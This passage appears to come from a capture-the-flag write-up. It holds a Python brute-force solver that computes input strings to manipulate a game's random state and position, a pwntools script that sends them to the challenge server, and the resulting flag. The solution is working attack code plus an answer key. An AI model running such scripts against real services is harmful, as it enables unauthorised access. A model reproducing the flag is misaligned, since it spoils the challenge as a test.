print((bytes(get_strinput(i))).decode()) ''' 出招表 sword whistle newspaper 54fcfbc921e8b735 111c7ab93a8cbcae a8cdae3240310bdd fist flee hints: a12caf3cba1e5f13 ''' # 展示当前状况 def show(): global currentx,currenty,currentrand print('currentx:',hex(currentx)) print('currenty:',hex(currenty)) print('currentrand:',hex(currentrand)) # res=myrand(0x42) # print(res) # res=getupdateseed(0x332c,0x3a48) 947411131 # res=getweaponseed(0) # 0x65695029 # print(hex(res)) def get_input(wtype): for i1 in range(0x21,0x7f): for i2 in range(0x21,0x7f): for i3 in range(0x21,0x7f): for i4 in range(0x21,0x7f): input_value=(i1<<24)|(i2<<16)|(i3<<8)|i4 seed=input_value^currentrand rand1,rand2=myrand(input_value^currentrand) if rand1&0xffff<0x8000 and rand2&0xffff<0x8000: realx=(currentx+rand1)&0xffff realy=(currenty+rand2)&0xffff andorxy=((realx & realy)+(realx | realy))&0xffff xorvy=(realx ^ realy)&0xffff imuxy=(realx * realy)&0xffff sumxy=(andorxy + xorvy + imuxy)&0xffff if (sumxy>>15)or (andorxy>>15) or(xorvy>>15) or(sumxy>>15): continue if((realx^realy)&7) and ((realx^realy)%8==1): if(((realx^realy)>>3)&3==wtype): print(hex(input_value)) print(chr(i4)+chr(i3)+chr(i2)+chr(i1)+"/") print(hex(seed),hex(realx),hex(realy),hex(rand1),hex(rand2)) return 0 return -1 def get_update_input(): for i1 in range(0x21,0x7f): for i2 in range(0x21,0x7f): for i3 in range(0x21,0x7f): for i4 in range(0x21,0x7f): input_value=(i1<<24)|(i2<<16)|(i3<<8)|i4 seed=input_value^currentrand rand1,rand2=myrand(input_value^currentrand) if rand1&0xffff<0x8000 and rand2&0xffff<0x8000: realx=(currentx+rand1)&0xffff realy=(currenty+rand2)&0xffff andorxy=((realx & realy)+(realx | realy))&0xffff xorvy=(realx ^ realy)&0xffff imuxy=(realx * realy)&0xffff sumxy=(andorxy + xorvy + imuxy)&0xffff if (sumxy>>15)or (andorxy>>15) or(xorvy>>15) or(sumxy>>15): continue if realx== 0x8b6 and realy== 0x6dac: print(hex(input_value)) print(chr(i4)+chr(i3)+chr(i2)+chr(i1)+"/") print(hex(seed),hex(realx),hex(realy),hex(rand1),hex(rand2)) print("type:0") continue if realx== 0x2f58 and realy== 0x46fb: print(hex(input_value)) print(chr(i4)+chr(i3)+chr(i2)+chr(i1)+"/") print(hex(seed),hex(realx),hex(realy),hex(rand1),hex(rand2)) print("type:1") continue if realx== 0xa439 and realy== 0xbc55: print(hex(input_value)) print(chr(i4)+chr(i3)+chr(i2)+chr(i1)+"/") print(hex(seed),hex(realx),hex(realy),hex(rand1),hex(rand2)) print("type:2") continue # v24 = 0x33C458487662651A # 铁匠屋副本 [y = 28076, x = 2230] 0x8b6,0x6dac 0 # v24 = 0x5B3E7B48765369A3 # 巫师之塔副本 [y = 18171, x = 12120] 0x2f58,0x46fb 1 # v24 = 0xDBE762ED608E186C # 工程师小屋 [y = 48213, x = 42041] 0xa439,0xbc55 2 return -1 # 缓慢靠近 y def get_slow_update_input_y(diff): global currentrand for i1 in range(0x21,0x7f): for i2 in range(0x21,0x7f): for i3 in range(0x21,0x7f): for i4 in range(0x21,0x7f): input_value=(i1<<24)|(i2<<16)|(i3<<8)|i4 seed=input_value^currentrand rand1,rand2=myrand(seed) if (rand1&0xffff)>0x7fff and (rand2&0xffff)==diff: print(hex(input_value)) print(chr(i4)+chr(i3)+chr(i2)+chr(i1)+"/") print(hex(seed),hex(rand1),hex(rand2)) return 0 # v24 = 0x33C458487662651A # 铁匠屋副本 [y = 28076, x = 2230] 0x8b6,0x6dac 0 # v24 = 0x5B3E7B48765369A3 # 巫师之塔副本 [y = 18171, x = 12120] 0x2f58,0x46fb 1 # v24 = 0xDBE762ED608E186C # 工程师小屋 [y = 48213, x = 42041] 0xa439,0xbc55 2 return -1 # 缓慢靠近 x def get_slow_update_input_x(diff): global currentrand for i1 in range(0x21,0x7f): for i2 in range(0x21,0x7f): for i3 in range(0x21,0x7f): for i4 in range(0x21,0x7f): input_value=(i1<<24)|(i2<<16)|(i3<<8)|i4 seed=input_value^currentrand rand1,rand2=myrand(seed) if (rand1&0xffff)>0x7fff: continue if (rand1&0xffff)==diff and (rand2&0xffff)>0x7fff: print(hex(input_value)) print(chr(i4)+chr(i3)+chr(i2)+chr(i1)+"/") print(hex(seed),hex(rand1),hex(rand2)) return 0 # v24 = 0x33C458487662651A # 铁匠屋副本 [y = 28076, x = 2230] 0x8b6,0x6dac 0 # v24 = 0x5B3E7B48765369A3 # 巫师之塔副本 [y = 18171, x = 12120] 0x2f58,0x46fb 1 # v24 = 0xDBE762ED608E186C # 工程师小屋 [y = 48213, x = 42041] 0xa439,0xbc55 2 return -1 def get_update_xy(diff): global currentrand for i1 in range(0x21,0x7f): for i2 in range(0x21,0x7f): for i3 in range(0x21,0x7f): for i4 in range(0x21,0x7f): input_value=(i1<<24)|(i2<<16)|(i3<<8)|i4 seed=input_value^currentrand rand1,rand2=myrand(seed) if (rand1&0xffff)>0x7fff: continue if (rand1&0xffff)==diff and (rand2&0xffff)<0x8000: print(hex(input_value)) print(chr(i4)+chr(i3)+chr(i2)+chr(i1)+"/") print(hex(seed),hex(rand1),hex(rand2)) return 0 # v24 = 0x33C458487662651A # 铁匠屋副本 [y = 28076, x = 2230] 0x8b6,0x6dac 0 # v24 = 0x5B3E7B48765369A3 # 巫师之塔副本 [y = 18171, x = 12120] 0x2f58,0x46fb 1 # v24 = 0xDBE762ED608E186C # 工程师小屋 [y = 48213, x = 42041] 0xa439,0xbc55 2 return -1 def get_weeb(): for i1 in range(0x21,0x7f): for i2 in range(0x21,0x7f): for i3 in range(0x21,0x7f): for i4 in range(0x21,0x7f): input_value=(i1<<24)|(i2<<16)|(i3<<8)|i4 seed=input_value^currentrand rand1,rand2=myrand(input_value^currentrand) if rand1&0xffff<0x8000 and rand2&0xffff<0x8000: realx=(currentx+rand1)&0xffff realy=(currenty+rand2)&0xffff andorxy=((realx & realy)+(realx | realy))&0xffff xorvy=(realx ^ realy)&0xffff imuxy=(realx * realy)&0xffff sumxy=(andorxy + xorvy + imuxy)&0xffff if (sumxy>>15)or (andorxy>>15) or(xorvy>>15) or(sumxy>>15): continue if((realx^realy)&7)==0: print(hex(input_value)) print(chr(i4)+chr(i3)+chr(i2)+chr(i1)+"/") print(hex(seed),hex(rand1),hex(rand2)) print(hex(realx),hex(realy)) return 0 return -1 # get_input(0) #0x21212f22 "/!! get sword input1=0x21212f22 new_seed=currentrand^input1 res=myrand_5(new_seed) # print(res) # updatestate(0x65695029) currentrand=eval(res[4]) currentx=(currentx+eval(res[0]))&0xffff currenty=(currenty+eval(res[1]))&0xffff # print(hex(currentrand),hex(currentx),hex(currenty)) # get_input(1) #0x21213059 Y0!! get newspaper input2=0x21213059 new_seed=currentrand^input2 res=myrand_5(new_seed) # print(res) # updatestate(0x65695029) currentrand=eval(res[4]) currentx=(currentx+eval(res[0]))&0xffff currenty=(currenty+eval(res[1]))&0xffff # get_input(2) #0x2121237d }#!! get whistle input3=0x2121237d new_seed=currentrand^input3 res=myrand_5(new_seed) # print(res) # updatestate(0x65695029) currentrand=eval(res[4]) currentx=(currentx+eval(res[0]))&0xffff currenty=(currenty+eval(res[1]))&0xffff # show() # get_update_input() # get_slow_update_input_y(0x2335) # 0x21214365 eC!! input4=0x21214365 new_seed=currentrand^input4 res=myrand_5(new_seed) # print(res) # updatestate(0x65695029) currentrand=eval(res[4]) currenty=(currenty+eval(res[1]))&0xffff # show() # get_slow_update_input_x(0x7888) # 0x21235c52 R\#! input5=0x21235c52 new_seed=currentrand^input5 res=myrand_5(new_seed) # print(res) # updatestate(0x65695029) currentrand=eval(res[4]) currentx=(currentx+eval(res[0]))&0xffff # show() # get_slow_update_input_x(0x7888) # 0x21283a31 1:(! input6=0x21283a31 new_seed=currentrand^input6 res=myrand_5(new_seed) # print(res) # updatestate(0x65695029) currentrand=eval(res[4]) currentx=(currentx+eval(res[0]))&0xffff # show() 0xa439 0xbc55 # now() 0x88b6 0xedac #diff() 0x1b83 0xcea9 # get_update_xy(0x1b83) # get_input(3) # get_weeb() # 0x2121266d m&!! input7=0x2121266d # defeat weed new_seed=currentrand^input7 # print(hex(new_seed)) res=myrand_5(new_seed) # print(res) # # updatestate(0x65695029) currentrand=eval(res[4]) currentx=(currentx+eval(res[0]))&0xffff currenty=(currenty+eval(res[1]))&0xffff # show() # 0x2439 0x3c55 # get_slow_update_input_x(0x2439-0x7ca) # 0x2431212d -!1$/ input7=0x2431212d new_seed=currentrand^input7 # print(hex(new_seed)) res=myrand_5(new_seed) # print(res) # # updatestate(0x65695029) currentrand=eval(res[4]) currentx=(currentx+eval(res[0]))&0xffff # currenty=(currenty+eval(res[1]))&0xffff # show() # get_slow_update_input_y(0x3c55-0x161a) # 0x21214b4f OK!! input7=0x21214b4f new_seed=currentrand^input7 # print(hex(new_seed)) res=myrand_5(new_seed) # print(res) # # updatestate(0x65695029) currentrand=eval(res[4]) currenty=(currenty+eval(res[1]))&0xffff # show() # currentx: 0x2439 # currenty: 0x3c55 # 0x2f58 0x46fb # get_slow_update_input_x(0x2f58-0x2439) # 0x50244650 PF$P # 0x50244650 # PF$P/ # 0x21ddf283 0x3c460b1f 0x6ce1aa8e input7=0x50244650 new_seed=currentrand^input7 # print(hex(new_seed)) res=myrand_5(new_seed) # print(res) # # updatestate(0x65695029) currentrand=eval(res[4]) currentx=(currentx+eval(res[0]))&0xffff # show() #currentx: 0x2f58 # currenty: 0x3c55 # get_slow_update_input_y(0x3c55-0x161a) # 0x21214b4f OK!! # get_slow_update_input_y(0x46fb-0x3c55) 0x2128583e >X(! input7=0x2128583e new_seed=currentrand^input7 # print(hex(new_seed)) res=myrand_5(new_seed) # print(res) # # updatestate(0x65695029) currentrand=eval(res[4]) currenty=(currenty+eval(res[1]))&0xffff # show() # currentx: 0x2f58 # currenty: 0x46fb # currentrand: 0x4e09f8d1 # 0xb32c 0xba48 diff:0x71c # get_slow_update_input_x(0xb32c-0x2f58) # get_slow_update_input_y(0xba48-0x46fb) # 0x21372346 # F#7!/ # 0x6f3edb97 0x37f63b6a 0x3a18734d input7=0x21372346 new_seed=currentrand^input7 res=myrand_5(new_seed) currentrand=eval(res[4]) currentx=(currentx+eval(res[0]))&0xffff currenty=(currenty+eval(res[1]))&0xffff # show() # get_slow_update_input_x(0xb32c-0x6ac2) # 0x3124464e NF$1 0x5023705e ^p#P input7=0x3124464e new_seed=currentrand^input7 # print(hex(new_seed)) res=myrand_5(new_seed) # print(res) # # updatestate(0x65695029) currentrand=eval(res[4]) currentx=(currentx+eval(res[0]))&0xffff # show() # currentx: 0xb32c # currenty: 0xba48 # currentrand: 0x3d1980b4 # get_slow_update_input_x(0x10000-0xb32c) # 0x50216172 ra!P # get_slow_update_input_y(0x10000-0xba48) input7=0x50216172 new_seed=currentrand^input7 # print(hex(new_seed)) res=myrand_5(new_seed) # print(res) # # updatestate(0x65695029) currentrand=eval(res[4]) currentx=(currentx+eval(res[0]))&0xffff # show() # get_slow_update_input_y(0x10000-0xba48) # 0x30214f62 bO!0 input7=0x30214f62 new_seed=currentrand^input7 res=myrand_5(new_seed) currentrand=eval(res[4]) # currentx=(currentx+eval(res[0]))&0xffff currenty=(currenty+eval(res[1]))&0xffff show() ``` pwn提交输入的脚本 ```python= from pwn import * context.log_level = 'debug' io=remote("challs.actf.co", 31600) # nc challs.actf.co 31600 # io.interactive() def go(code): io.recvuntil(b'> ') io.sendline(code) def attack(code): io.recvuntil(b'Choose your action: ') io.sendline(code) codes=[rb'"/!!',rb'Y0!!',rb'}#!!',rb'eC!!',rb'R\#!',rb'1:(!',rb'm&!!',rb'-!1$',rb'OK!!',rb'PF$P',rb'>X(!',rb'F#7!',rb'NF$1',rb'ra!P',rb'bO!0',rb'a12caf3cba1e5f13'] attacks=[rb'54fcfbc921e8b735',rb'111c7ab93a8cbcae',rb'a8cdae3240310bdd',rb'fist'] # io.recvuntil(b'Enter your name: ') io.sendline(b'song') for i in range(7): go(codes[i]) attack(attacks[0]) for i in range(7,14): go(codes[i]) attack(attacks[0]) go(codes[14]) attack(attacks[0]) go(codes[15]) for i in range(4): attack(attacks[i]) # io.recv(1024,5) io.recvuntil(b'!') ``` ![](https://i.imgur.com/rRt1NCA.png) flag:actf{sorry_guys_no_double_free_this_time}